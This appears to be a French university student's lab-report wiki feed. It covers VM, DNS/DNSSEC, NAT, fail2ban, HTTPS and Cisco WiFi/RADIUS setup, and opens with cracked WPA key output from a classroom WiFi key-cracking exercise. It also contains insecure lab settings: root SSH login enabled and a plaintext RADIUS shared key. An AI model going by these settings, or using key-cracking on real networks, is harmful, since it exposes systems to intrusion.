      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12266</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12266"/>
		<updated>2026-02-15T11:09:08Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
